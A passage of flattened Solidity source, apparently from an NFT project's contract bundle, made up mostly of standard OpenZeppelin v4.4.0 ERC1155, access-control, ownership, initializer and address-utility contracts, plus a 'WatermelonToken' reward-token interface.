uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerable.sol"; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.10; /** * @title ChubbyHippos contract * @dev Extends ERC20 Token Standard basic implementation */ interface IWatermelonToken { function init() external; function setNFTContractAddress(address _address) external; function setRate(uint rate) external; function reveal() external; function grantUpdaterRole(address _address) external; function revokeUpdaterRole(address _address) external; function grantBurnableRole(address _address) external; function revokeBurnableRole(address _address) external; function updateRewards(address from, address to) external; function claimReward() external; function burnTokens(address _address, uint amount) external; function burnTokensWithClaimable(address _address, uint amount) external; function issueTokens(address _address, uint amount) external; function getTotalClaimable(address _address) external view returns (uint); function balanceOf(address owner) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "./IERC1155Upgradeable.sol"; import "./IERC1155ReceiverUpgradeable.sol"; import "./extensions/IERC1155MetadataURIUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable { using AddressUpgradeable for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ function __ERC1155_init(string memory uri_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155_init_unchained(uri_); } function __ERC1155_init_unchained(string memory uri_) internal initializer { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC1155Upgradeable).interfaceId || interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/ERC1155Burnable.sol) pragma solidity ^0.8.0; import "../ERC1155Upgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155BurnableUpgradeable is Initializable, ERC1155Upgradeable { function __ERC1155Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155Burnable_init_unchained(); } function __ERC1155Burnable_init_unchained() internal initializer { } function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/ERC1155Pausable.sol) pragma solidity ^0.8.0; import "../ERC1155Upgradeable.sol"; import "../../../security/PausableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC1155 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. * * _Available since v3.1._ */ abstract contract ERC1155PausableUpgradeable is Initializable, ERC1155Upgradeable, PausableUpgradeable { function __ERC1155Pausable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __Pausable_init_unchained(); __ERC1155Pausable_init_unchained(); } function __ERC1155Pausable_init_unchained() internal initializer { } /** * @dev See {ERC1155-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); require(!paused(), "ERC1155Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155Upgradeable.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); 